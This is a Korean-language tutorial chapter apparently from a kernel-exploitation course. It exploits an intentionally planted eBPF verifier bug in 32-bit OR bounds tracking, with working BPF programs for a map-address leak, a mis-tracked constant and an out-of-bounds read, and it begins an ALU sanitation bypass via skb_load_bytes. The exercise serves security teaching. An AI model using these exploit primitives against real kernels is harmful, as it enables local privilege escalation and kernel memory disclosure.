이번 장에서는 eBPF 중에서도 검증기(verifier)의 버그를 악용하여 권한 상승에 도전합니다. 먼저 LK06 (Brahman) 배포 파일을 준비해 주세요.

패치 확인

이번에는 연습용으로 eBPF를 취약하게 만들기 위해, 검증기에 버그를 심는 패치가 적용되어 있습니다. patch/verifier.diff에 그 내용이 있으니 확인해 봅시다.

1
2
3
4
5
7957c7957,7958
<               __mark_reg32_known(dst_reg, var32_off.value);
---
>               // `scalar_min_max_or` will handler the case
>               //__mark_reg32_known(dst_reg, var32_off.value);

kernel/bpf/verifier.c의 7957번째 줄[1]에 변경이 들어갔습니다.

scalar32_min_max_or 함수 도입부에서 __mark_reg32_known이라는 함수가 호출되는데, 패치 적용 후 주석 처리되었습니다. 그 외의 변경 사항은 없으니 이 부분을 자세히 살펴보겠습니다.

scalar32_min_max_or 읽기

변경이 들어간 scalar32_min_max_or의 호출자는 adjust_scalar_min_max_vals입니다. 이 함수는 ADD나 XOR 같은 ALU 연산 후 대상 레지스터의 범위 추적을 구현합니다.
수정된 부분은 BPF_OR입니다.

1
2
3
4
5
case BPF_OR:
	dst_reg->var_off = tnum_or(dst_reg->var_off, src_reg.var_off);
	scalar32_min_max_or(dst_reg, &src_reg);
	scalar_min_max_or(dst_reg, &src_reg);
	break;

먼저 tnum_or로 대상 레지스터의 var_off를 갱신합니다. 구현은 단순해서, OR하는 비트 양쪽 모두 불명확하면 대상도 불명확하다고 봅니다. 한쪽 비트가 불명확하더라도 다른 쪽이 1이면 OR 결과는 반드시 1이 되므로, mask의 대응하는 비트는 0이 됩니다.

1
2
3
4
5
6
7
8
struct tnum tnum_or(struct tnum a, struct tnum b)
{
	u64 v, mu;

	v = a.value | b.value;
	mu = a.mask | b.mask;
	return TNUM(v, mu & ~v);
}

예를 들어 (mask=0xffff0000; value=0x1001)과 (mask=0xffffff00; value=0x2)를 OR하면 (mask=0xffffef00; value=0x1003)이 됩니다.

var_off를 갱신하면 문제의 scalar32_min_max_or가 호출됩니다. 삭제된 부분은 src_known, dst_known이 true일 때 도달합니다.

1
2
3
4
5
6
7
8
9
10
11

	bool src_known = tnum_subreg_is_const(src_reg->var_off);
	bool dst_known = tnum_subreg_is_const(dst_reg->var_off);

...

	if (src_known && dst_known) {
        // `scalar_min_max_or` will handler the case
		//__mark_reg32_known(dst_reg, var32_off.value);
		return;
	}

tnum_subreg_is_const는 레지스터의 하위 32비트 부분이 상수일 때 true를 반환합니다. 즉, OR하는 레지스터 양쪽 모두 하위 32비트가 상수일 때, 본래는 __mark_reg32_known이 호출되어야 했습니다.
__mark_reg32_known은 상수의 var_off를 사용해 s32_min_value, s32_max_value, u32_min_value, u32_max_value를 갱신합니다.

1
2
3
4
5
6
7
8
static void __mark_reg32_known(struct bpf_reg_state *reg, u64 imm)
{
	reg->var_off = tnum_const_subreg(reg->var_off, imm);
	reg->s32_min_value = (s32)imm;
	reg->s32_max_value = (s32)imm;
	reg->u32_min_value = (u32)imm;
	reg->u32_max_value = (u32)imm;
}

패치 내 주석에 'scalar_min_max_or will handler the case’라고 되어 있으므로, scalar_min_max_or도 따라가 보겠습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

static void scalar_min_max_or(struct bpf_reg_state *dst_reg,
			      struct bpf_reg_state *src_reg)
{
	bool src_known = tnum_is_const(src_reg->var_off);
	bool dst_known = tnum_is_const(dst_reg->var_off);
	s64 smin_val = src_reg->smin_value;
	u64 umin_val = src_reg->umin_value;

	if (src_known && dst_known) {
		__mark_reg_known(dst_reg, dst_reg->var_off.value);
		return;
	}

    ...
}

기본적으로는 scalar32_min_max_or의 64비트 버전입니다. 여기서 양쪽 모두 64비트 값이 상수일 때 __mark_reg_known이 호출됩니다. __mark_reg_known은 64비트 부분에 더해 32비트 범위도 상수로 변경합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

/* This helper doesn't clear reg->id */
static void ___mark_reg_known(struct bpf_reg_state *reg, u64 imm)
{
	reg->var_off = tnum_const(imm);
	reg->smin_value = (s64)imm;
	reg->smax_value = (s64)imm;
	reg->umin_value = imm;
	reg->umax_value = imm;

	reg->s32_min_value = (s32)imm;
	reg->s32_max_value = (s32)imm;
	reg->u32_min_value = (u32)imm;
	reg->u32_max_value = (u32)imm;
}

/* Mark the unknown part of a register (variable offset or scalar value) as
 * known to have the value @imm.
 */
static void __mark_reg_known(struct bpf_reg_state *reg, u64 imm)
{
	/* Clear id, off, and union(map_ptr, range) */
	memset(((u8 *)reg) + sizeof(reg->type), 0,
	       offsetof(struct bpf_reg_state, var_off) - sizeof(reg->type));
	___mark_reg_known(reg, imm);
}

즉, OR의 64비트 레지스터가 양쪽 모두 상수인 경우, scalar32_min_max_or에서 __mark_reg32_known을 호출하지 않아도 뒤의 scalar_min_max_or에서 문제없이 상수가 되는 구조입니다.

그렇다면 64비트 레지스터의 상위 32비트가 상수가 아닌 경우는 어떨까요. scalar32_min_max_or는 즉시 return하지만, scalar_min_max_or에서 __mark_reg_known은 호출되지 않습니다.
이때 scalar_min_max_or 안의 다음 경로에 도달합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/* We get our maximum from the var_off, and our minimum is the
 * maximum of the operands' minima
 */
dst_reg->umin_value = max(dst_reg->umin_value, umin_val);
dst_reg->umax_value = dst_reg->var_off.value | dst_reg->var_off.mask;
if (dst_reg->smin_value < 0 || smin_val < 0) {
	/* Lose signed bounds when ORing negative numbers,
	 * ain't nobody got time for that.
	 */
	dst_reg->smin_value = S64_MIN;
	dst_reg->smax_value = S64_MAX;
} else {
	/* ORing two positives gives a positive, so safe to
	 * cast result into s64.
	 */
	dst_reg->smin_value = dst_reg->umin_value;
	dst_reg->smax_value = dst_reg->umax_value;
}
/* We may learn something more from the var_off */
__update_reg_bounds(dst_reg);

umin_value, umax_value, smin_value, smax_value를 갱신한 뒤 __update_reg_bounds가 호출됩니다.

1
2
3
4
5
static void __update_reg_bounds(struct bpf_reg_state *reg)
{
	__update_reg32_bounds(reg);
	__update_reg64_bounds(reg);
}

여기서도 32비트, 64비트 모두 범위를 갱신하고 있습니다. 그렇다면 패치는 불필요한 처리를 삭제한 것일까요?

__update_reg32_bounds 읽기

__update_reg32_bounds의 처리를 자세히 봅시다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static void __update_reg32_bounds(struct bpf_reg_state *reg)
{
	struct tnum var32_off = tnum_subreg(reg->var_off);

	/* min signed is max(sign bit) | min(other bits) */
	reg->s32_min_value = max_t(s32, reg->s32_min_value,
			var32_off.value | (var32_off.mask & S32_MIN));
	/* max signed is min(sign bit) | max(other bits) */
	reg->s32_max_value = min_t(s32, reg->s32_max_value,
			var32_off.value | (var32_off.mask & S32_MAX));
	reg->u32_min_value = max_t(u32, reg->u32_min_value, (u32)var32_off.value);
	reg->u32_max_value = min(reg->u32_max_value,
				 (u32)(var32_off.value | var32_off.mask));
}

__mark_reg32_known이 호출되지 않았기 때문에, 32비트의 min, max는 오래된 상태 그대로입니다. 이를 이용해 갱신되는 min, max에 불일치를 일으킬 수 없을까요? 간단하게 부호 없는 경우를 생각해보겠습니다.

1
2
3
reg->u32_min_value = max_t(u32, reg->u32_min_value, (u32)var32_off.value);
reg->u32_max_value = min(reg->u32_max_value,
			 (u32)(var32_off.value | var32_off.mask));

지금 레지스터의 하위 32비트는 src, dst 모두 상수입니다. 따라서 var32_off.mask는 0이며, 다음과 같이 다시 쓸 수 있습니다.

1
2
reg->u32_min_value = max(reg->u32_min_value, var32_off.value);
reg->u32_max_value = min(reg->u32_max_value, var32_off.value);

u32_min_value와 u32_max_value는 대상 레지스터의 원래 상태가 유지됩니다. 하위 32비트는 상수여야 하므로, 원래의 u32_min_value와 u32_max_value는 모두 X라는 값이었다고 가정합니다. 여기에 어떤 상수 Y를 OR하여 결과가 X|Y가 됩니다. 그러면 X|Y > X일 때,

1
2
reg->u32_min_value = max(X, X|Y); // min=X|Y
reg->u32_max_value = min(X, X|Y); // max=X

가 되어 u32_min_value가 u32_max_value보다 커지는 불일치가 발생합니다.

버그 재현

간단하게 X=0, Y=1로 생각해 봅시다.
먼저 다음과 같은 레지스터 R1, R2를 준비합니다.

1
2
R1: var_off=(value=0; mask=0xffffffff00000000)
R2: var_off=(value=0xfffffffe00000001; mask=0)

이를 BPF_OR(R1, R2)로 OR했을 때의 변화를 살펴봅시다.

  1. var_off=(value=0xfffffffe00000001; mask=0x100000000)
  2. u32_min_value = max(0, 1) = 1
  3. u32_max_value = min(0, 1) = 0

이로써 32비트 부분의 최솟값이 1, 최댓값이 0인 망가진 레지스터가 생성됩니다. 실제로 코드로 확인해 봅시다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// BPF 맵 생성
int mapfd = map_create(8, 1);

/* BPF 프로그램 */
struct bpf_insn insns[] = {
  // R0 --> &map[0]
  BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0), // key=0
  BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
  BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
  BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -8),
  BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // map_lookup_elem(mapfd, &k)
  BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
  BPF_EXIT_INSN(),

  // R1 --> var_off=(value=0; mask=0xffffffff00000000)
  BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_0, 0),
  BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32),
  BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),

  // R2 --> var_off=(value=0xfffffffe00000001; mask=0)
  BPF_MOV64_IMM(BPF_REG_2, 0xfffffffe),
  BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),
  BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 1),

  // R1 --> (s32_min=1, s32_max=0, u32_min=1, u32_max=0)
  BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),

  BPF_MOV64_IMM(BPF_REG_0, 0),
  BPF_EXIT_INSN(),
};

이 프로그램을 로드하고 검증기 로그 verifier_log를 출력해 보세요.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/ $ ./pwn 
func#0 @0
0: R1=ctx(off=0,imm=0) R10=fp0
0: (7a) *(u64 *)(r10 -8) = 0          ; R10=fp0 fp-8_w=mmmmmmmm
1: (18) r1 = 0x0                      ; R1_w=map_ptr(off=0,ks=4,vs=8,imm=0)
3: (bf) r2 = r10                      ; R2_w=fp0 R10=fp0
4: (07) r2 += -8                      ; R2_w=fp-8
5: (85) call bpf_map_lookup_elem#1    ; R0_w=map_value_or_null(id=1,off=0,ks=4,vs=8,imm=0)
6: (55) if r0 != 0x0 goto pc+1        ; R0_w=P0
7: (95) exit

from 6 to 8: R0=map_value(off=0,ks=4,vs=8,imm=0) R10=fp0 fp-8=mmmmmmmm
8: (79) r1 = *(u64 *)(r0 +0)          ; R0=map_value(off=0,ks=4,vs=8,imm=0) R1_w=Pscalar()
9: (77) r1 >>= 32                     ; R1_w=Pscalar(umax=4294967295,var_off=(0x0; 0xffffffff))
10: (67) r1 <<= 32                    ; R1_w=Pscalar(smax=9223372032559808512,umax=18446744069414584320,var_off=(0x0; 0xffffffff00000000),s32_min=0,s32_max=0,u32_max=0)
11: (b7) r2 = -2                      ; R2_w=P-2
12: (67) r2 <<= 32                    ; R2_w=P-8589934592
13: (07) r2 += 1                      ; R2_w=P-8589934591
14: (4f) r1 |= r2                     ; R1_w=Pscalar(umin=18446744065119617025,umax=18446744069414584321,var_off=(0xfffffffe00000001; 0x100000000),s32_min=1,s32_max=0,u32_min=1,u32_max=0) R2_w=P-85891
15: (b7) r0 = 0                       ; R0_w=P0
16: (95) exit
processed 16 insns (limit 1000000) max_states_per_insn 0 total_states 1 peak_states 1 mark_read 1

14번째 OR 명령에서

1
R1_w=Pscalar(...,s32_min=1,s32_max=0,u32_min=1,u32_max=0)

와 같이 범위 추적이 망가져 있음을 알 수 있습니다.

늑대군

이 버그는 실제로 OR, AND, XOR 명령에서 과거에 존재했던 것이야.

주소 릭

이번처럼 min_value > max_value라는 조건이 생긴 경우, 이를 악용하는 방법은 몇 가지 있습니다. 먼저 맵의 주소 릭에 사용해 봅시다.
eBPF에서는 포인터에 대한 스칼라 값의 가감산이 허용됩니다. 포인터와 스칼라 값 연산 시의 오프셋 업데이트는 adjust_ptr_min_max_vals에 구현되어 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,
				   struct bpf_insn *insn,
				   const struct bpf_reg_state *ptr_reg,
				   const struct bpf_reg_state *off_reg)
{

...

    bool known = tnum_is_const(off_reg->var_off);
	s64 smin_val = off_reg->smin_value, smax_val = off_reg->smax_value,
	    smin_ptr = ptr_reg->smin_value, smax_ptr = ptr_reg->smax_value;
	u64 umin_val = off_reg->umin_value, umax_val = off_reg->umax_value,
	    umin_ptr = ptr_reg->umin_value, umax_ptr = ptr_reg->umax_value;

...

	if ((known && (smin_val != smax_val || umin_val != umax_val)) ||
	    smin_val > smax_val || umin_val > umax_val) {
		/* Taint dst register if offset had invalid bounds derived from
		 * e.g. dead branches.
		 */
		__mark_reg_unknown(env, dst_reg);
		return 0;
	}

    ...

위 코드를 읽어보면, 이번처럼 스칼라 값 쪽의 추적이 망가진 케이스에서는 연산 결과를 __mark_reg_unknown으로 불명확한 값으로 만듭니다.
즉, 추적을 망가뜨린 레지스터와 포인터를 더하면 결과는 스칼라 값으로 취급됩니다. 스칼라 값은 BPF 맵에 쓸 수 있으므로 주소 릭이 가능합니다. 바로 map_lookup_elem으로 얻은 BPF 맵 포인터를 릭 해봅시다.
아까 s32_min_value 등의 추측을 망가뜨렸지만, 위 코드에서는 smin_val 등 64비트 레지스터가 망가져 있어야 합니다. 32비트 값을 64비트 값으로 확장하려면 x86-64와 마찬가지로 BPF_MOV32_REG를 사용해 32비트 레지스터에 복사하면 됩니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
...
    // R1 --> (s32_min=1, s32_max=0, u32_min=1, u32_max=0)
    BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),

    // R0 --> scalar
    BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),
    BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_1),

    // 스칼라 값이 된 포인터를 저장
    BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_0, -0x10),
    BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
    BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), // key
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08),
    BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP), // value
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10),
    BPF_MOV64_IMM(BPF_REG_ARG4, 0),          // flag
    BPF_EMIT_CALL(BPF_FUNC_map_update_elem), // map_update_elem

다음과 같이 BPF 맵의 주소가 릭 된다면 성공입니다. R1에는 1이 들어 있었으므로, 덧셈에 의해 실제보다 주소가 1 어긋나 있음에 주의하세요.

맵 주소 릭

이 주소를 보면 올바르게 배열의 첫 번째 요소(릭 한 데이터)가 들어 있습니다.

릭 한 주소 주변

0x110 뺀 곳은 메타데이터를 포함한 BPF 맵의 시작 부분입니다. 이번에는 배열 형식으로 만들었으므로 bpf_array 구조체가 존재합니다. 예를 들어 선두에 있는 0xffffffff81c124a0이라는 값은 bpf_map 구조체의 ops라는 함수 테이블입니다. 이번에는 사용하지 않지만 eBPF 공격에서는 이 ops를 덮어써서 권한 상승하는 기법도 있습니다.

이 방법은 adjust_ptr_min_max_vals 코드를 모르면 깨닫기 힘들지만, 실제로는 이를 이용하지 않아도 exploit을 작성할 수 있습니다. (예제 참조)

맵 주소를 가지고 있으면 이후 kASLR 릭이 쉬워지므로 주소는 가지고 있도록 합시다. 맵 fd를 넘기면 (마지막에 1을 뺀) 주소를 반환하도록 함수화해두면 코드가 깔끔해집니다.

늑대군

root 권한에서는 표준적으로 포인터 릭이 허용되어 있으니, eBPF exploit을 디버깅할 때는 반드시 일반 사용자 권한에서의 동작 확인도 잊지 마.

범위 밖 참조 (OOB Access)

앞 장에서도 조금 다뤘지만, 2022년 현재 ALU sanitation이라는 완화 기법이 들어가 있어서 예전처럼 단순히 범위 밖 참조를 할 수 없습니다.
하지만 우선은 ‘단순한’ 범위 밖 참조를 시도해 봅시다.
사실 ALU sanitation은 bpf_bypass_spec_v1이라는 함수가 true를 반환할 때는 스킵됩니다. 이 함수는 root 권한에서는 true를 반환하므로, root 권한에서는 지금도 범위 밖 참조를 시도할 수 있습니다.
그래서 먼저 root 권한으로 ‘단순한’ 범위 밖 참조를 시도해 봅시다.

추적이 깨진 상수 생성

검증기의 오류를 악용하는 데 있어 편리한 것은, '검증기가 X라고 생각하지만 실제로는 Y인 상수(XX!=Y)'를 만드는 것입니다. 특히 X=0, Y!=0일 때는 무엇을 곱해도 검증기는 0이라고 판단하므로 범위 밖 참조 오프셋을 만드는 데 유리합니다.
먼저 '검증기가 0이라고 생각하지만 실제로는 1인 상수’를 만들어 봅시다.

지금 R1은 u32_min_value가 1이고 u32_max_value가 0입니다. 반대로 R2에 u32_min_value가 0이고 u32_max_value가 1인 (망가지지 않은) 값을 넣습니다. 여기서 R1과 R2의 덧셈을 생각해보면 범위는 [1,0]+[0,1]=[1,1]이 됨을 알 수 있습니다.

최솟값, 최댓값이 같은 레지스터는 MOV 등의 타이밍에 상수 취급이 됩니다. R1의 실제 값은 1이었지만, R2는 0이나 1을 가집니다. 따라서 덧셈 결과는 [1,2]여야 합니다. 하지만 검증기는 덧셈 후의 R1을 상수 1로 판단해 버려서, 실제로는 2가 들어 있는 상황이 생깁니다.
이제 R1에서 1을 빼면 목적했던 '검증기는 0이라고 생각하지만 실제로는 1인 상수’를 만들 수 있습니다.

u32_min_value가 0이고 u32_max_value가 1인 R2는 논리·산술 연산을 조합하거나, 조건 분기로 1보다 큰 케이스를 버려서 생성할 수 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// BPF 맵 생성
int mapfd = map_create(8, 1);
val = 1;
map_update(mapfd, 0, &val);

/* BPF 프로그램 */
struct bpf_insn insns[] = {
  // R0 --> &map[0]
  BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0), // key=0
  BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
  BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
  BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -8),
  BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // map_lookup_elem(mapfd, &k)
  BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
  BPF_EXIT_INSN(),
  BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),

  // R1 --> var_off=(value=0; mask=0xffffffff00000000)
  BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_9, 0),
  BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32),
  BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
  // R2 --> var_off=(value=0xfffffffe00000001; mask=0)
  BPF_MOV64_IMM(BPF_REG_2, 0xfffffffe),
  BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),
  BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 1),
  // R1 --> (s32_min=1, s32_max=0, u32_min=1, u32_max=0) / 실제값:1
  BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),

  // R2 --> (s32_min=0, s32_max=1, u32_min=0, u32_max=1) / 실제값:1
  BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_9, 0),
  BPF_JMP32_IMM(BPF_JLE, BPF_REG_2, 1, 2), // 1보다 큰 케이스 파기
  BPF_MOV64_IMM(BPF_REG_0, 0),
  BPF_EXIT_INSN(),

  // R1 --> 0 / 실제값:1
  BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2),
  BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),
  BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1),

  // R1의 실제 값을 확인
  BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_1, -0x10),
  BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
  BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), // key
  BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08),
  BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP), // value
  BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10),
  BPF_MOV64_IMM(BPF_REG_ARG4, 0),          // flag
  BPF_EMIT_CALL(BPF_FUNC_map_update_elem), // map_update_elem

  BPF_MOV64_IMM(BPF_REG_0, 0),
  BPF_EXIT_INSN(),
};

이 프로그램을 실행한 후 맵(R1의 실제 값)을 확인해보면 1이 되어 있음을 알 수 있습니다. 반면 22번째 명령 종료 시점에서 검증기는 R1에 0이 들어 있다고 추측하고 있습니다.

추적이 깨진 상수 생성

범위 밖 참조 확인

방금 전 코드로 추적 결과가 상수 0이 됨에도 불구하고 실제로는 1을 가지는 레지스터를 만들었습니다. 이 레지스터에 적당한 수를 곱해서 맵 포인터에 더하면, 결과적으로 범위 밖을 가리키는 유효한 포인터를 만들 수 있습니다.

실제로 시도해 봅시다.
다음 BPF 프로그램은 망가진 레지스터에 0x100을 곱함으로써 '추측값=0 / 실제값=0x100’인 상황을 만들고, 그것을 사용해 맵의 범위 밖을 BPF_LDX_MEM으로 읽고 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
int main() {
  char verifier_log[0x10000];
  unsigned long val;

  // BPF 맵 생성
  int mapfd = map_create(8, 1);

  unsigned long addr_map = leak_map_address(mapfd);
  printf("[+] addr_map = 0x%016lx\n", addr_map);

  val = 1;
  map_update(mapfd, 0, &val);
  /* BPF 프로그램 */
  struct bpf_insn insns[] = {
    // R0 --> &map[0]
    BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0), // key=0
    BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
    BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -8),
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // map_lookup_elem(mapfd, &k)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
    BPF_EXIT_INSN(),
    BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),

    // R1 --> var_off=(value=0; mask=0xffffffff00000000)
    BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_9, 0),
    BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32),
    BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
    // R2 --> var_off=(value=0xfffffffe00000001; mask=0)
    BPF_MOV64_IMM(BPF_REG_2, 0xfffffffe),
    BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 1),
    // R1 --> (s32_min=1, s32_max=0, u32_min=1, u32_max=0) / actual:1
    BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),

    // R2 --> (s32_min=0, s32_max=1, u32_min=0, u32_max=1) / actual:1
    BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_9, 0),
    BPF_JMP32_IMM(BPF_JLE, BPF_REG_2, 1, 2),
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),

    // R1 --> 0 / actual: 1
    BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2),
    BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),
    BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1),

    // R1 --> 0 / actual: 0x100
    BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, 0x100),

    // 범위 밖 참조로 데이터를 R2에 릭
    BPF_MOV64_REG(BPF_REG_3, BPF_REG_9),
    BPF_ALU64_REG(BPF_ADD, BPF_REG_3, BPF_REG_1),
    BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),

    // 릭 한 데이터를 사용자 공간에서 받음
    BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_2, -0x10),
    BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
    BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), // key
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08),
    BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP), // value
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10),
    BPF_MOV64_IMM(BPF_REG_ARG4, 0),          // flag
    BPF_EMIT_CALL(BPF_FUNC_map_update_elem), // map_update_elem

    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
  };

  /* 소켓용 설정 */
  union bpf_attr prog_attr = {
    .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
    .insn_cnt = sizeof(insns) / sizeof(insns[0]),
    .insns = (uint64_t)insns,
    .license = (uint64_t)"GPL v2",
    .log_level = 2,
    .log_size = sizeof(verifier_log),
    .log_buf = (uint64_t)verifier_log
  };

  /* BPF 프로그램 로드 */
  int progfd = bpf(BPF_PROG_LOAD, &prog_attr);
  printf("%s\n", verifier_log);
  if (progfd == -1) fatal("bpf(BPF_PROG_LOAD)");

  /* 소켓 생성 */
  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
    fatal("socketpair");
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
    fatal("setsockopt");

  /* 소켓 이용（BPF 프로그램 발동） */
  write(socks[1], "Hello", 5);

  map_lookup(mapfd, 0, &val);
  printf("val = 0x%016lx\n", val);

  getchar();

  return 0;
}

이 프로그램을 root 권한으로 실행하면, 다음과 같이 설정한 적 없는 값을 읽을 수 있음을 알 수 있습니다.

단순한 범위 밖 참조

실제로 gdb에서 확인하면 맵 주소에서 0x100 떨어진 곳에 릭 한 데이터가 존재합니다.

gdb에서 범위 밖 참조 값 확인

또한 0x100이라는 상수를 MOV로 넘기면 검증기가 범위 밖 참조를 탐지하므로, 취약점에 기인하여 범위 밖 참조를 일으켰음을 알 수 있습니다.

하지만 일반 사용자 권한으로 같은 프로그램을 실행하면, ALU sanitation이 덧셈에 의한 범위 밖 참조를 0 덧셈으로 변환해 버리기 때문에, 다음과 같이 아무 데이터도 릭 할 수 없습니다. (처음부터 넣었던 값 1이 나온 것으로 보아 ALU sanitation에 의해 덧셈이 의미 없게 되었음을 알 수 있습니다.)

사용자 권한에서는 범위 밖 참조 실패
늑대군

ALU sanitation이 없던 시절에는 이 기법으로 bpf_map 구조체의 ops 등을 읽고 쓰는 공격이 주류였어.

ALU sanitation 우회

다행히 이번 대상인 커널 v5.18.14에서는 ALU sanitation을 우회하는 방법이 존재합니다. 아이디어는 포인터에 대한 (범위를 벗어나는) 가감산이 패치되어 버리므로, 기존 헬퍼 함수에게 그 처리를 맡기자는 발상입니다.

일반 사용자가 쓸 수 있는 헬퍼 함수는 적지만, 오프셋이나 크기를 인자로 받는 함수를 찾아봅시다. 그러면 소켓 필터에서는 예를 들어 skb_load_bytes라는 함수를 사용할 수 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

BPF_CALL_4(bpf_skb_load_bytes, const struct sk_buff *, skb, u32, offset,
	   void *, to, u32, len)
{
	void *ptr;

	if (unlikely(offset > INT_MAX))
		goto err_clear;

	ptr = skb_header_pointer(skb, offset, len, to);
	if (unlikely(!ptr))
		goto err_clear;
	if (ptr != to)
		memcpy(to, ptr, len);

	return 0;
err_clear:
	memset(to, 0, len);
	return -EFAULT;
}

static const struct bpf_func_proto bpf_skb_load_bytes_proto = {
	.func		= bpf_skb_load_bytes,
	.gpl_only	= false,
	.ret_type	= RET_INTEGER,
	.arg1_type	= ARG_PTR_TO_CTX,
	.arg2_type	= ARG_ANYTHING,
	.arg3_type	= ARG_PTR_TO_UNINIT_MEM,
	.arg4_type	= ARG_CONST_SIZE,
};

이 함수는 패킷 내용을 BPF 측(맵이나 스택)으로 복사할 수 있습니다.
첫 번째 인자를 컨텍스트, 두 번째 인자를 복사하고 싶은 패킷 데이터의 오프셋, 세 번째 인자를 복사할 버퍼, 네 번째 인자를 복사할 크기로 지정합니다. 복사 원본은 패킷 데이터이므로 write로 소켓에 보낸 데이터가 복사됩니다.
이 함수를 호출할 때 인자가 범위를 벗어나지 않는지 판단하지만, ALU sanitation의 영향은 받지 않습니다. 따라서 함수 내부에서 범위 밖 데이터 복사를 실현할 수 있습니다.

